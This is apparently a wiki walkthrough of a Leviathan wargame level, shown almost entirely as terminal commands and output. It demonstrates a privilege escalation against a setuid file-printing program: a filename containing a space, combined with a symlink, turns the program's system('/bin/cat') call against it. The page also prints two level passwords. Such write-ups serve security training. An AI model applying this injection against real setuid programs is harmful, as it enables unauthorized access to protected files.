Leviathan2 - leviathan3

From JaxHax
Jump to: navigation, search
leviathan2@melinda:~$ ls -la
total 28
drwxr-xr-x   2 root       root       4096 Nov 14 10:32 .
drwxr-xr-x 167 root       root       4096 Mar 21 06:46 ..
-rw-r--r--   1 root       root        220 Apr  9  2014 .bash_logout
-rw-r--r--   1 root       root       3637 Apr  9  2014 .bashrc
-rw-r--r--   1 root       root        675 Apr  9  2014 .profile
-r-sr-x---   1 leviathan3 leviathan2 7498 Nov 14 10:32 printfile
 
leviathan2@melinda:~$ ./printfile 
*** File Printer ***
Usage: ./printfile filename
 
leviathan2@melinda:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
 
leviathan2@melinda:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/mylev3
 
leviathan2@melinda:~$ ./printfile /tmp/mylev3
You cant have that file...
 
leviathan2@melinda:~$ ltrace ./printfile /etc/leviathan_pass/leviathan3
__libc_start_main(0x804852d, 2, 0xffffd784, 0x8048600 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4)      = -1
puts("You cant have that file..."You cant have that file...
)               = 27
+++ exited (status 1) +++
 
leviathan2@melinda:~$ ltrace ./printfile /etc/leviathan_pass/leviathan2
__libc_start_main(0x804852d, 2, 0xffffd784, 0x8048600 <unfinished ...>
access("/etc/leviathan_pass/leviathan2", 4)      = 0
snprintf("/bin/cat /etc/leviathan_pass/lev"..., 511, "/bin/cat %s", "/etc/leviathan_pass/leviathan2") = 39
system("/bin/cat /etc/leviathan_pass/lev"...ougahZi8Ta
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                           = 0
+++ exited (status 0) +++
 
leviathan2@melinda:~$ mkdir /tmp/zer0
 
leviathan2@melinda:~$ cd /tmp/zer0
 
leviathan2@melinda:/tmp/zer0$ touch testing\ this.txt
 
leviathan2@melinda:/tmp/zer0$ ltrace ~/printfile testing\ this.txt 
__libc_start_main(0x804852d, 2, 0xffffd754, 0x8048600 <unfinished ...>
access("testing this.txt", 4)                    = 0
snprintf("/bin/cat testing this.txt", 511, "/bin/cat %s", "testing this.txt") = 25
system("/bin/cat testing this.txt"/bin/cat: testing: No such file or directory
/bin/cat: this.txt: No such file or directory
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                           = 256
+++ exited (status 0) +++
 
leviathan2@melinda:/tmp/zer0$ ln -s /etc/leviathan_pass/leviathan3 testing
 
leviathan2@melinda:/tmp/zer0$ ls -la
total 1100
drwxrwxr-x   2 leviathan2 leviathan2    4096 Apr  3 02:34 .
drwxrwx-wt 591 root       root       1118208 Apr  3 02:34 ..
lrwxrwxrwx   1 leviathan2 leviathan2      30 Apr  3 02:34 testing -> /etc/leviathan_pass/leviathan3
-rw-rw-r--   1 leviathan2 leviathan2       0 Apr  3 02:32 testing this.txt
 
leviathan2@melinda:/tmp/zer0$ ltrace ~/printfile testing\ this.txt 
__libc_start_main(0x804852d, 2, 0xffffd754, 0x8048600 <unfinished ...>
access("testing this.txt", 4)                    = 0
snprintf("/bin/cat testing this.txt", 511, "/bin/cat %s", "testing this.txt") = 25
system("/bin/cat testing this.txt"/bin/cat: testing: Permission denied
/bin/cat: this.txt: No such file or directory
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                           = 256
+++ exited (status 0) +++
 
leviathan2@melinda:/tmp/zer0$ ~/printfile testing\ this.txt 
Ahdiemoo1j
/bin/cat: this.txt: No such file or directory